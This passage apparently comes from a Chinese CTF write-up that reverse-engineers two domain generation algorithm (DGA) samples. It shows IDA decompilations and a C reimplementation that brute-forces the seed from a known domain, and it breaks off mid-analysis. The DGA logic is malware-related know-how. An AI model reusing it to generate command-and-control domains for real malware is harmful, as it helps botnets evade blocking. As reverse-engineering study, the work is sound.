<span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __main();</span><br><span class="line">  dga_v2(<span class="number">2020</span>, <span class="number">4</span>, <span class="number">6</span>, <span class="number">0xFD6512BE</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看起来，2020、4、6是日期，最后一个参数是种子，反编译dga_v2函数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">dga_v2</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">char</span> a2, <span class="keyword">char</span> a3, <span class="keyword">unsigned</span> <span class="keyword">int</span> a4)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v4; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// ecx</span></span><br><span class="line">  <span class="keyword">int</span> v7; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v8; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v9; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v10; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v11; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">int</span> v12; <span class="comment">// ecx</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v14; <span class="comment">// [esp+1Ch] [ebp-12Ch]</span></span><br><span class="line">  <span class="keyword">char</span> v15[<span class="number">8</span>]; <span class="comment">// [esp+28h] [ebp-120h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v16[<span class="number">16</span>]; <span class="comment">// [esp+30h] [ebp-118h]</span></span><br><span class="line">  <span class="keyword">char</span> *v17[<span class="number">5</span>]; <span class="comment">// [esp+40h] [ebp-108h]</span></span><br><span class="line">  <span class="keyword">int</span> v18; <span class="comment">// [esp+54h] [ebp-F4h]</span></span><br><span class="line">  <span class="keyword">int</span> v19; <span class="comment">// [esp+58h] [ebp-F0h]</span></span><br><span class="line">  <span class="keyword">int</span> v20; <span class="comment">// [esp+5Ch] [ebp-ECh]</span></span><br><span class="line">  <span class="keyword">int</span> v21[<span class="number">4</span>]; <span class="comment">// [esp+64h] [ebp-E4h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v22; <span class="comment">// [esp+74h] [ebp-D4h]</span></span><br><span class="line">  <span class="keyword">char</span> v23; <span class="comment">// [esp+CBh] [ebp-7Dh]</span></span><br><span class="line">  <span class="keyword">char</span> v24[<span class="number">4</span>]; <span class="comment">// [esp+CCh] [ebp-7Ch]</span></span><br><span class="line">  <span class="keyword">char</span> v25; <span class="comment">// [esp+D0h] [ebp-78h]</span></span><br><span class="line"></span><br><span class="line">  *(_DWORD *)v24 = <span class="number">0</span>;</span><br><span class="line">  v14 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">memset</span>(&amp;v25, <span class="number">0</span>, <span class="number">0x60</span>u);</span><br><span class="line">  qmemcpy(v17, _data_start__, <span class="keyword">sizeof</span>(v17));</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memset</span>(&amp;v18, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">    v4 = v14 &amp; <span class="number">0xFFFFFFFE</span>;</span><br><span class="line">    v18 = (<span class="keyword">unsigned</span> __int8)(a1 + <span class="number">48</span>);</span><br><span class="line">    v19 = (<span class="keyword">unsigned</span> __int8)a2;</span><br><span class="line">    v20 = (<span class="keyword">unsigned</span> __int8)a3;</span><br><span class="line">    v5 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v6 = (<span class="keyword">unsigned</span> __int8)v4;</span><br><span class="line">      v4 &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">      v21[v5++] = v6;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v5 != <span class="number">4</span> );</span><br><span class="line">    v7 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      *(&amp;v18 + v7) ^= (<span class="keyword">unsigned</span> __int8)(a4 &gt;&gt; <span class="number">8</span> * (v7 &amp; <span class="number">3</span>));</span><br><span class="line">      ++v7;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v7 != <span class="number">8</span> );</span><br><span class="line">    v8 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v15[v8] = *(&amp;v18 + v8);</span><br><span class="line">      ++v8;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v8 != <span class="number">8</span> );</span><br><span class="line">    MD5Init(&amp;v22);</span><br><span class="line">    MD5Update(&amp;v22, v9, <span class="number">8</span>);</span><br><span class="line">    MD5Final(&amp;v22, v16);</span><br><span class="line">    v10 = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memset</span>(v24, <span class="number">0</span>, <span class="number">0x64</span>u);</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v11 = (v16[v10] &amp; <span class="number">0xF</span>) + ((<span class="keyword">signed</span> <span class="keyword">int</span>)v16[v10] &gt;&gt; <span class="number">4</span>) + <span class="number">97</span>;</span><br><span class="line">      <span class="keyword">if</span> ( v11 &lt;= <span class="number">122</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        *(&amp;v23 + <span class="built_in">strlen</span>(v24) + <span class="number">1</span>) = v11;</span><br><span class="line">        v24[<span class="built_in">strlen</span>(v24) + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      ++v10;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v10 != <span class="number">16</span> );</span><br><span class="line">    v12 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ( v14 % (<span class="number">5</span> - v12) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( ++v12 == <span class="number">5</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_16;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">strcat</span>(v24, v17[v12]);</span><br><span class="line">LABEL_16:</span><br><span class="line">    result = <span class="built_in">puts</span>(v24);</span><br><span class="line">    ++v14;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v14 != <span class="number">1000</span> );</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>改了下v22的类型，分析算法流程，大概就是长度为8的数组，前三个是年月日，第四个是0，后面四个是v14（次数）的低32bit，一个占8bit，然后与种子异或，md5得到结果再按程序一个逻辑得到可见字符，然后根据v14确定后缀。</p><p>这里MD5Update这些函数信息理应是隐藏的，出题人没注意，正式比赛应该给修正了，其实通过 Magic number 可以判断是 md5,我还下了断点动态调试验证了一下。</p><p>其实只有种子未知，直接照着逻辑实现一遍，拿第一个域名爆破种子就好了。md5算法是网上找的一个实现：<a href="https://blog.csdn.net/weixin_42167759/article/details/81209320">https://blog.csdn.net/weixin_42167759/article/details/81209320</a>。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&quot;md5.c&quot;</span></span></span><br><span class="line"><span class="keyword">char</span> *v17[] = &#123;<span class="string">&quot;.biz&quot;</span>,<span class="string">&quot;.info&quot;</span>,<span class="string">&quot;.org&quot;</span>,<span class="string">&quot;.net&quot;</span>,<span class="string">&quot;.com&quot;</span>&#125;;</span><br><span class="line"><span class="keyword">unsigned</span> __int8 v18[<span class="number">8</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> v15[<span class="number">9</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> v16[<span class="number">16</span>];</span><br><span class="line"><span class="keyword">char</span> v21[<span class="number">30</span>];</span><br><span class="line"><span class="keyword">signed</span> <span class="keyword">int</span> v4;</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line"><span class="keyword">int</span> v14,v5,v6,v7,v8,v10,v11,v9,v12;</span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">dga_v2</span><span class="params">(<span class="keyword">int</span> a1,<span class="keyword">int</span> a2,<span class="keyword">int</span> a3,<span class="keyword">unsigned</span> <span class="keyword">int</span> a4)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">v14=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">memset</span>(v18, <span class="number">0</span>, <span class="keyword">sizeof</span>(v18));</span><br><span class="line">v4 = v14 &amp; <span class="number">0xFFFFFFFE</span>;</span><br><span class="line">    v18[<span class="number">0</span>] = (<span class="keyword">unsigned</span> __int8)(a1 + <span class="number">48</span>);</span><br><span class="line">    v18[<span class="number">1</span>] = (<span class="keyword">unsigned</span> __int8)a2;</span><br><span class="line">    v18[<span class="number">2</span>] = (<span class="keyword">unsigned</span> __int8)a3;</span><br><span class="line">    v5 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v6 = (<span class="keyword">unsigned</span> __int8)v4;</span><br><span class="line">      v4 &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">      v18[v5++ + <span class="number">4</span>] = v6;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">while</span> ( v5 != <span class="number">4</span> );</span><br><span class="line"></span><br><span class="line">v7 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">v18[v7] ^= (<span class="keyword">unsigned</span> __int8)(a4 &gt;&gt; <span class="number">8</span> * (v7 &amp; <span class="number">3</span>));</span><br><span class="line">++v7;</span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">while</span> ( v7 != <span class="number">8</span> );</span><br><span class="line">    v8 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v15[v8] = v18[v8];</span><br><span class="line">      ++v8;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v8 != <span class="number">8</span> );</span><br><span class="line">    v15[v8]=<span class="number">0</span>;</span><br><span class="line">    MD5_CTX md5;</span><br><span class="line">MD5Init(&amp;md5);        </span><br><span class="line">MD5Update(&amp;md5,v15,<span class="built_in">strlen</span>(v15));</span><br><span class="line">MD5Final(&amp;md5,(<span class="keyword">unsigned</span> __int8 *)v16);</span><br><span class="line"><span class="built_in">memset</span>(v21, <span class="number">0</span>, <span class="number">0x64</span>u);</span><br><span class="line">v10 = <span class="number">0</span>;</span><br><span class="line">v9 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">v11 = (v16[v10] &amp; <span class="number">0xF</span>) + ((<span class="keyword">signed</span> <span class="keyword">int</span>)(<span class="keyword">unsigned</span> __int8)v16[v10] &gt;&gt; <span class="number">4</span>) + <span class="number">97</span>;</span><br><span class="line"><span class="keyword">if</span> ( v11 &lt;= <span class="number">122</span> )</span><br><span class="line">&#123;</span><br><span class="line">v21[v9] = v11;</span><br><span class="line">v21[++v9] = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">++v10;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( v10 != <span class="number">16</span> );</span><br><span class="line">v12 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> ( v14 % (<span class="number">5</span> - v12) )</span><br><span class="line">&#123;</span><br><span class="line">++v12;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">strcat</span>(v21, v17[v12]);</span><br><span class="line"><span class="comment">//printf(&quot;%s\n&quot;,v21);</span></span><br><span class="line">++v14;</span><br><span class="line">&#125;<span class="keyword">while</span>(v14!=<span class="number">1</span>);</span><br><span class="line"><span class="keyword">return</span> v21;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> seed;</span><br><span class="line"><span class="keyword">char</span> correct[]=<span class="string">&quot;ezzijueztfslhhrp.biz&quot;</span>;</span><br><span class="line"><span class="keyword">for</span>(seed = <span class="number">0</span>;seed &lt; ((<span class="number">1</span>&lt;&lt;<span class="number">32</span>)<span class="number">-1</span>) ;seed++)&#123;</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(correct,dga_v2(<span class="number">2020</span>,<span class="number">5</span>,<span class="number">10</span>,seed)))&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%u&quot;</span>,seed);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跑了挺久的，得到种子是1836927723，直接生成就好了。</p><h3 id="sample2"><a href="#sample2" class="headerlink" title="sample2"></a>sample2</h3><p>拖到IDA反汇编，看到就一个dga函数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dga(<span class="string">&quot;cw3OGGsoaako7GSGG3&quot;</span>, <span class="string">&quot;umyyobuorstfabj.com&quot;</span>, (<span class="keyword">char</span> (*)[<span class="number">5</span>])v4, <span class="number">3</span>, <span class="number">1000</span>);</span><br></pre></td></tr></table></figure><p>v4可以看到是域名的后缀名，包括[‘pw’, ‘us’, ‘club’]。</p><p>看dga函数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">dga</span><span class="params">(<span class="keyword">char</span> *a1, <span class="keyword">char</span> *a2, <span class="keyword">char</span> (*a3)[<span class="number">5</span>], <span class="keyword">int</span> a4, <span class="keyword">int</span> a5)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *v5; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v7; <span class="comment">// ecx</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v9; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v10; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v11; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">char</span> (*v12)[<span class="number">5</span>]; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">int</span> v13; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">char</span> (*v14)[<span class="number">5</span>]; <span class="comment">// ST08_4</span></span><br><span class="line">  <span class="keyword">int</span> v15; <span class="comment">// [esp+1Ch] [ebp-CCh]</span></span><br><span class="line">  <span class="keyword">int</span> v16; <span class="comment">// [esp+20h] [ebp-C8h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v17; <span class="comment">// [esp+24h] [ebp-C4h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v18; <span class="comment">// [esp+28h] [ebp-C0h]</span></span><br><span class="line">  <span class="keyword">int</span> v19; <span class="comment">// [esp+2Ch] [ebp-BCh]</span></span><br><span class="line">  <span class="keyword">char</span> v20; <span class="comment">// [esp+31h] [ebp-B7h]</span></span><br><span class="line">  <span class="keyword">char</span> v21[<span class="number">4</span>]; <span class="comment">// [esp+32h] [ebp-B6h]</span></span><br><span class="line">  <span class="keyword">char</span> v22; <span class="comment">// [esp+36h] [ebp-B2h]</span></span><br><span class="line">  <span class="keyword">int</span> v23[<span class="number">15</span>]; <span class="comment">// [esp+50h] [ebp-98h]</span></span><br><span class="line">  <span class="keyword">int</span> v24; <span class="comment">// [esp+8Ch] [ebp-5Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v25[<span class="number">22</span>]; <span class="comment">// [esp+90h] [ebp-58h]</span></span><br><span class="line"></span><br><span class="line">  v5 = a2;                    </span><br><span class="line">  <span class="built_in">memset</span>(v23, <span class="number">0</span>, <span class="number">0x40</span>u);</span><br><span class="line">  *(_DWORD *)v21 = <span class="number">0</span>;</span><br><span class="line">  v17 = <span class="number">0</span>;                    </span><br><span class="line">  <span class="built_in">memset</span>(&amp;v22, <span class="number">0</span>, <span class="number">0x1A</span>u);</span><br><span class="line">  v6 = <span class="number">0</span>;                     </span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v7 = a1[v6];</span><br><span class="line">    v17 += v7;</span><br><span class="line">    v23[v6++] = v7;         </span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v6 != <span class="number">16</span> );</span><br><span class="line">  v19 = <span class="number">0</span>;                 </span><br><span class="line">  v15 = (<span class="keyword">unsigned</span> __int8)v24;  </span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    result = v19;</span><br><span class="line">    <span class="keyword">if</span> ( v19 &gt;= a5 )  </span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v9 = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memset</span>(v25, <span class="number">0</span>, <span class="number">0x40</span>u);</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v25[v9] = v5[v9];</span><br><span class="line">      ++v9;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v9 != <span class="number">16</span> );        </span><br><span class="line">    v10 = v15;</span><br><span class="line">    v11 = <span class="number">1</span>;                  <span class="comment">//v11:1</span></span><br><span class="line">    <span class="built_in">memset</span>(v21, <span class="number">0</span>, <span class="number">0x1E</span>u);</span><br><span class="line">    v18 = v17;                <span class="comment">//v18:0</span></span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v16 = (v18 ^ (*(&amp;v24 + v11) + v10)) + v25[v11];</span><br><span class="line">        v10 = (<span class="keyword">unsigned</span> __int8)v16;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)(<span class="keyword">unsigned</span> __int8)v16 - <span class="number">98</span> &lt;= <span class="number">0x17</span> )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        ++v18;</span><br><span class="line">      &#125;</span><br><span class="line">      ++v11;</span><br><span class="line">      *(&amp;v20 + <span class="built_in">strlen</span>(v21) + <span class="number">1</span>) = v16;</span><br><span class="line">      v21[<span class="built_in">strlen</span>(v21) + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v11 != <span class="number">13</span> );</span><br><span class="line">    v12 = a3;</span><br><span class="line">    *(&amp;v20 + <span class="built_in">strlen</span>(v21) + <span class="number">1</span>) = <span class="number">46</span>;</span><br><span class="line">    v13 = <span class="number">0</span>;</span><br><span class="line">    v21[<span class="built_in">strlen</span>(v21) + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ( v13 &lt; a4 )</span><br><span class="line">    &#123;</span><br><span class="line">      v14 = v12;</span><br><span class="line">      ++v13;</span><br><span class="line">      ++v12;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;%s%s\n&quot;</span>, v21, v14);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">strcat</span>(v21, &amp;(*a3)[<span class="number">5</span> * a4 - <span class="number">5</span>]);</span><br><span class="line">    ++v19;</span><br><span class="line">    v5 = v21;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>生成域名的重点代码是这段：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v16 = (v18 ^ (*(&amp;v24 + v11) + v10)) + v25[v11];</span><br><span class="line">        v10 = (<span class="keyword">unsigned</span> __int8)v16;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)(<span class="keyword">unsigned</span> __int8)v16 - <span class="number">98</span> &lt;= <span class="number">0x17</span> )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        ++v18;</span><br><span class="line">      &#125;</span><br><span class="line">      ++v11;</span><br><span class="line">      *(&amp;v20 + <span class="built_in">strlen</span>(v21) + <span class="number">1</span>) = v16;</span><br><span class="line">      v21[<span class="built_in">strlen</span>(v21) + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v11 != <span class="number">13</span> );</span><br></pre></td></tr></table></figure><p>下面是加后缀的，不用管。</p><p>里面涉及的变量，v18是v17赋值，v17是“cw3OGGsoaako7GSGG3”的ascii码的和（低8位）。</p><p>v11是一个不知道哪的数，v25是“umyyobuorstfabj.com”，v24未知。v24很奇怪，用法是类似数组的用法，声明却是int，手动改成int类型的数组，重新反编译。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span 